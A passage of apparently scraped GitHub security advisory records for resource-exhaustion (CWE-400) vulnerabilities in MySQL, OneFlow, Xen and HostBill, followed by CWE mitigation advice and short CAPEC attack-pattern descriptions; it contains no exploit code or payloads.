"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M9J9-CMF2-WC4J
Vulnerability from github – Published: 2026-01-21 00:31 – Updated: 2026-01-21 00:31Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.44, 8.4.0-8.4.7 and 9.0.0-9.5.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-21948"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-20T22:15:57Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.44, 8.4.0-8.4.7 and 9.0.0-9.5.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-m9j9-cmf2-wc4j",
"modified": "2026-01-21T00:31:43Z",
"published": "2026-01-21T00:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21948"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M9P8-WVPP-VMMM
Vulnerability from github – Published: 2026-01-28 18:30 – Updated: 2026-01-29 18:31A GPU device-ID validation flaw in the flow.cuda.get_device_capability() component of OneFlow v0.9.0 allows attackers to cause a Denial of Service (DoS) via a crafted device ID.
{
"affected": [],
"aliases": [
"CVE-2025-70999"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-28T18:16:51Z",
"severity": "HIGH"
},
"details": "A GPU device-ID validation flaw in the flow.cuda.get_device_capability() component of OneFlow v0.9.0 allows attackers to cause a Denial of Service (DoS) via a crafted device ID.",
"id": "GHSA-m9p8-wvpp-vmmm",
"modified": "2026-01-29T18:31:42Z",
"published": "2026-01-28T18:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70999"
},
{
"type": "WEB",
"url": "https://github.com/Oneflow-Inc/oneflow/issues/10660"
},
{
"type": "WEB",
"url": "https://github.com/Daisy2ang"
},
{
"type": "WEB",
"url": "http://oneflow.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M9P9-MH4F-QXMQ
Vulnerability from github – Published: 2022-05-14 02:18 – Updated: 2025-04-20 03:46An issue was discovered in Xen through 4.9.x allowing x86 PV guest OS users to cause a denial of service (unbounded recursion, stack consumption, and hypervisor crash) or possibly gain privileges via crafted page-table stacking.
{
"affected": [],
"aliases": [
"CVE-2017-15595"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-18T08:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Xen through 4.9.x allowing x86 PV guest OS users to cause a denial of service (unbounded recursion, stack consumption, and hypervisor crash) or possibly gain privileges via crafted page-table stacking.",
"id": "GHSA-m9p9-mh4f-qxmq",
"modified": "2025-04-20T03:46:58Z",
"published": "2022-05-14T02:18:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15595"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2017/11/msg00027.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/10/msg00021.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201801-14"
},
{
"type": "WEB",
"url": "https://support.citrix.com/article/CTX228867"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2017/dsa-4050"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/43014"
},
{
"type": "WEB",
"url": "https://xenbits.xen.org/xsa/advisory-240.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M9PP-9784-85QG
Vulnerability from github – Published: 2026-04-24 15:32 – Updated: 2026-04-24 18:31An issue in Hostbill v.2025-11-24 and 2025-12-01 allows a remote attacker to cause a denial of service via the Client Balance component
{
"affected": [],
"aliases": [
"CVE-2026-31051"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-24T15:16:27Z",
"severity": "LOW"
},
"details": "An issue in Hostbill v.2025-11-24 and 2025-12-01 allows a remote attacker to cause a denial of service via the Client Balance component",
"id": "GHSA-m9pp-9784-85qg",
"modified": "2026-04-24T18:31:07Z",
"published": "2026-04-24T15:32:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31051"
},
{
"type": "WEB",
"url": "https://blog.hostbillapp.com/2025/12/03/hostbill-security-advisory"
},
{
"type": "WEB",
"url": "https://github.com/Muhammad5235/HostBill-CVEs-2025/blob/main/Business%20Logic%20Vulnerability/Business%20Logic%20Vulnerability"
},
{
"type": "WEB",
"url": "https://hostbillapp.com/changelog"
},
{
"type": "WEB",
"url": "https://hostbillapp.com/release-notes/11-27-2025.html"
},
{
"type": "WEB",
"url": "https://hostbillapp.com/release-notes/12-01-2025.html"
},
{
"type": "WEB",
"url": "https://hostbillapp.com/responsible-disclosure"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.